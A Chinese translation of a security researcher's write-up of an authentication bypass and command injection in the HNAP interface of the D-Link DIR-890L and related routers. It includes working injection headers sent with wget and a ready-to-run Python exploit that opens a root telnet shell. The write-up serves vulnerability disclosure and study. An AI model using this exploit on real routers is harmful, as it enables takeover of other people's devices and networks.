Hacking the D-Link DIR-890L

0x00 简介

from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

之前的6个月，D-Link都不断使坏，把我整的晕头转向。今天我想找些乐子，登陆他们的网站，结果就看到了惨不忍睹的一幕：

D-Link’s $300 DIR-890L router

这个路由器上运行的固件有 很多 bug ，而最变态的地方在于，它居然跟D-link多年来在各种路由器上使用的固件一模一样。 点我看小视频

0x01 开始分析

按照惯例，我们先获取 最新版本 的固件，然后使用 binwalk 来分析它，可以看到以下的信息：

DECIMAL   HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116   0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124   0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156   0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37 

貌似这是个非常标准的linux固件镜像。只要你在过去的几年里分析过任何一个D-Link的固件，没准就会知道以下的目录结构：

$ ls squashfs-root bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

和HTTP/UPnP/HNAP有关的所有文件都存放在htdocs目录下。其中cgibin文件最有意思，这是一个ARM ELF格式的二进制文件，将被WEB服务器执行，所有CGI,UPnP和HNAP的功能都通过软连接指向这个程序。

$ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

“Staircase” code graph, typical of if-else statements 

每个软连接名称都是通过strcmp函数来比较的：

Function handlers for various symlinks 

这样一来， 我们很容易就可以通过符号链接的名称来找到对应的函数功能代码，然后给它重新起个合适的名字：

Renamed symlink function handlers 

既然发现了这些函数，那我们就开始找bug吧！

其他的一些D-Link设备，同样也运行这个固件，他们的HTTP和UPnP接口已经被发现存在漏洞。然而，HNAP接口（存在于cgibin中的hnap_main函数）似乎一直被忽视。

HNAP (家庭网络管理协议)是一个基于SOAP的协议，类似UPnP，它广泛应用于D-Link的"EZ"安装模块，用来对路由器进行初始化配置。然而和UPnP不同的是，除了GetDeviceInfo(基本没用的函数)之外，所有的HNAP功能，都需要HTTP基础认证：

POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"  <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>   <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">    <PortMappingDescription>foobar</PortMappingDescription>    <InternalClient>192.168.0.100</InternalClient>    <PortMappingProtocol>TCP</PortMappingProtocol>    <ExternalPort>1234</ExternalPort>    <InternalPort>1234</InternalPort>   </AddPortMapping>  </soap:Body> </soap:Envelope> 

SOAPAction头在HNAP请求中特别重要，因为它指定了HNAP所要进行的操作。（以上这个请求执行的是AddPortMapping这个功能）由于web服务器将cgibin作为CGI来执行，所以hnap_main函数可以通过环境变量访问到HNAP的请求数据，比如SOAPAction头：

SOAPAction = getenv(“HTTP_SOAPACTION”); 

在接近函数末尾的部分，程序使用了sprintf函数动态构造一条shell命令，这条命令将被传入system函数执行：

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction); 

很明显，hnap_main使用了请求头中的SOAPAction头作为系统命令的一部分！如果SOAPAction头没有被过滤，而且进入的这段函数不需要认证，那么这很有可能是一个命令注入的bug。

回到hnap_main函数的开头，程序首先检查SOAPAction头是否为http://purenetworks.com/HNAP1/GetDeviceSettings，如果是，则跳过认证。这是我们预料之中的，并且我们已经确定，GetDeviceSettings功能是不需要认证的。

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL) 

然而，可以注意到，strstr被用于字符串检查，这就表明了，SOAPAction头只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，就可以通过检查，绕过认证。所以，如果SOAPAction头包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings，代码将会从请求头中解析出Action的名称（例如GetDeviceSettings）并且会移除字符串最后的双引号。

SOAPAction = strrchr(SOAPAction, ‘/’); 

上图代码会解析出Action名（类似GetDeviceSettings），它将被带入sprintf函数，构造出被system执行的命令。以下的C语言代码可以帮助大家进一步了解程序中的逻辑错误：

/* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) {  /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) {  /* Point the SOAPAction pointer one byte beyond the last forward slash */  SOAPAction += 1;  /* Get rid of any trailing double quotes */  if(SOAPAction[strlen(SOAPAction)-1] == '"')  {   SOAPAction[strlen(SOAPAction)-1] = '/0';  } } else {  goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command); 

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`" 

将reboot命令替换成telnetd，就可以开启路由器的telnet服务，获得一个无需认证的root权限shell：

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'.   BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.

如果开启了远程管理功能，HNAP请求将向WAN开放，这就使远程利用成为可能。当然，路由器的防火墙将阻断来自WAN的telnet连接。有一个简单的解决办法，就是结束HTTP服务器进程，将telnet服务器的端口设置成和HTTP服务器相同：

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'.   BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.

wget请求将会被挂起，因为cgibin会等待telnetd返回。下面是用Python写的一个利用程序：

#!/usr/bin/env python import sys import urllib2 import httplib try:  ip_port = sys.argv[1].split(':')  ip = ip_port[0]  if len(ip_port) == 2:   port = ip_port[1]  elif len(ip_port) == 1:   port = "80"  else:   raise IndexError except IndexError:  print "Usage: %s <target ip:port>" % sys.argv[0]  sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on #    any port; killing the http server and re-using its port #    is not necessary. # #    Killing off all hung hnap processes ensures that we can #    re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = {    "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,     } req = urllib2.Request(url, None, headers) try:  urllib2.urlopen(req)  raise Exception("Unexpected response") except httplib.BadStatusLine:  print "Exploit sent, try telnetting to %s:%s!" % (ip, port)  print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"  sys.exit(0) except Exception:  print "Received an unexpected response from the server; exploit probably failed. :(" 

0x02 结语

• DAP-1522 revB
• DAP-1650 revB
• DIR-880L
• DIR-865L
• DIR-860L revA
• DIR-860L revB
• DIR-815 revB
• DIR-300 revB
• DIR-600 revB
• DIR-645
• TEW-751DR
• TEW-733GR

据我所知，HNAP协议在任何设备上都无法被禁用。